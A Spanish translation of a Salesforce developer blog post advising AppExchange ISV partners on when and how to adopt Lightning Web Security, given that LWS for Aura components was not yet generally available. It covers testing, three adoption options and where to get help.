Recomendamos que los ISV esperen al menos hasta el verano de 2023 para adoptar funciones exclusivas de LWS para casos de uso de producción. Para los ISV que realmente desean usar las funciones exclusivas de LWS ahora, exploraremos sus opciones más adelante en esta publicación.

La razón por la que recomendamos esperar es que LWS pasó a estar disponible de forma general (GA) en la primavera de 22 solo para LWC . LWS para Aura todavía está en desarrollo y tiene como objetivo una versión de verano de 23 GA ( puerto seguro ). La activación de LWS en una organización que usa componentes Aura aún no es compatible * y puede causar problemas.

*"No compatible" significa que si surge un problema a causa de esto, el servicio de asistencia técnica de Salesforce no podrá ayudar a depurar y resolver el problema. No significa que los componentes de Aura dejarán de funcionar por completo.

Por esta razón, nuestra guía actual para los clientes que usan componentes Aura es habilitar LWS solo después de haber probado exhaustivamente todos sus casos de uso de componentes Aura en un espacio aislado con LWS habilitado. y siéntase cómodo habilitando LWS en producción, ya que LWS para Aura todavía está en versión beta hasta el esperado lanzamiento de GA en el verano de 23 ( puerto seguro ).

Esto significa que es probable que la mayoría de los ISV tengan una combinación de algunos clientes con LWS habilitado en sus organizaciones y otros sin él.

¿Cómo deben prepararse los ISV para LWS?

Dado que los ISV querrán incorporar nuevos clientes y brindar soporte a los clientes existentes que pueden o no tener LWS habilitado, deben asegurarse de que su aplicación funcione correctamente en organizaciones con y sin LWS habilitado.

Para asegurarse de que su aplicación ISV funcione en una organización sin LWS, no confíe aún en las funciones exclusivas de LWS (sin un plan alternativo). Los ISV no pueden asumir que LWS estará habilitado en todos los lugares donde se ejecute su aplicación, ya que algunos clientes aún no podrán habilitar LWS (p. ej., porque usan componentes de Aura que crearon o que están incluidos en el paquete de otro ISV y que tienen cuando LWS está habilitado o el cliente no tiene ancho de banda para la prueba de regresión).

Para asegurarse de que su aplicación ISV funcione en una organización con LWS, pruebe cualquier caso de uso basado en componentes de Aura en una organización que tenga LWS habilitado para asegurarse de que funcionen como se espera. Si LWS causa un problema (lo que es poco probable), proporcionamos algunas herramientas que pueden ser útiles para la depuración.

Diseñamos una lista de verificación para probar LWC con LWS. Esto puede darle algunas ideas sobre cómo hacer lo mismo con Aura. Por ejemplo, considere si algunas de las Reglas de ESLint pueden ser útiles en su caso, o consulte el LWS Distortion Viewer para ver si las API globales que está utilizando están restringidas por LWS.

Si no puede resolver el problema, considere si puede migrar su caso de uso de Aura a LWC, o dígales a sus clientes que esperen para habilitar LWS en sus organizaciones hasta que se resuelva el problema.

Una vez que se admite LWS para Aura, todas las organizaciones pueden habilitar LWS de manera segura. En este punto, Salesforce comenzará a activarse automáticamente y eventualmente implementará LWS en todas las organizaciones restantes en un cronograma gradual con mucha anticipación.

¿Cuáles son las opciones de los ISV para adoptar funciones exclusivas de LWS?

Opción 1

Espere hasta que todas las organizaciones puedan habilitar de forma segura LWS (Summer '23, puerto seguro) para distribuir funciones exclusivas de LWS a las organizaciones de clientes. Mientras tanto, puede experimentar con estas funciones, planificar el trabajo futuro o crear funciones en una rama de Git de larga duración que no se fusionará con la principal ni se enviará a los clientes hasta que LWS para Aura esté disponible en general. Esto se puede hacer ahora en el desarrollo de LWC; para hacer esto en Aura, mantén los ojos abiertos para un piloto de LWS Aura próximamente.

Tenga en cuenta que incluso cuando LWS para Aura esté disponible de forma general, todavía habrá muchos clientes que no habiliten LWS en sus organizaciones de inmediato. Confiar en funciones exclusivas de LWS en ese momento significa que es posible que deba persuadir a algunos clientes para que habiliten LWS (hasta que Salesforce aplique LWS para todas las organizaciones).

opcion 2

Verifique en tiempo de ejecución si LWS está habilitado en una organización y cree bifurcaciones lógicas en su código utilizando declaraciones if para manejar ambos escenarios (LWS está habilitado frente a LWS no está habilitado).

Tenga en cuenta que este enfoque no funcionará si el LWC de una aplicación ISV usa referencias estáticas de espacios de nombres cruzados. Estas referencias intentarían ejecutarse o renderizarse en la creación de instancias y no pueden ser bloqueadas por una declaración if. Esto provocaría un error en las organizaciones donde LWS no está habilitado.

Estamos considerando crear una forma con soporte oficial para verificar si LWS está habilitado en una organización desde el código ( puerto seguro ), pero por ahora, puede adaptar el siguiente fragmento de código:

Aquí hay un ejemplo de cómo usarlo para crear una lógica alternativa dentro de un LWC:

Nota: si bien esperamos que este patrón continúe funcionando cuando LWS para Aura se convierta en GA, le recomendamos que realice una prueba de regresión durante cada vista previa de la versión en cualquier lugar donde use este patrón para asegurarse de que continúe funcionando como se esperaba.

Opción 3

Mantenga dos paquetes separados : uno para organizaciones con LWS habilitado y otro para organizaciones sin LWS habilitado (o un paquete base para todas las organizaciones y una extensión solo para organizaciones con LWS habilitado).

Si bien la documentación analiza esta opción, y técnicamente se puede hacer, no es una opción viable en el uso real de las aplicaciones de AppExchange . Además de la carga de mantener varios paquetes, esta opción no es lo suficientemente ágil para situaciones en las que un cliente puede activar y desactivar LWS varias veces si descubre que causó problemas imprevistos. Esto puede provocar la rotura de las aplicaciones de ISV y es imposible de predecir para los ISV.

Para los estudiantes visuales, aquí hay un modelo mental para ayudar a los ISV a decidir si es seguro usar funciones exclusivas de LWS:

¿Cómo puedo obtener ayuda?

Para informar problemas, proporcionar comentarios y hacer preguntas sobre LWS, publique en el grupo Lightning and Components de la comunidad de socios. Si está informando un problema, abra también un caso de soporte y comparta el número de caso en su publicación con el grupo.

Si es un ISV que busca una consulta estratégica para alinearse con la hoja de ruta de Salesforce, necesita ayuda para planificar su estrategia de adopción de LWS o desea comprender las mejores prácticas y cómo incorporarlas en su aplicación, reserve una consulta de Platform Expert con mi equipo en cualquier momento.

Recursos

Sobre el Autor


James Quinn es un experto principal en plataformas ISV en Salesforce. Trabaja para facilitar la vida de los socios de AppExchange a través de la escucha activa de la comunidad, abogando internamente por la preparación de ISV de los productos de Salesforce y brindando a los socios orientación estratégica sobre la arquitectura del producto y las experiencias centradas en el ser humano.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2022/12/what-isv-partners-need-to-know-about-lightning-web-security.html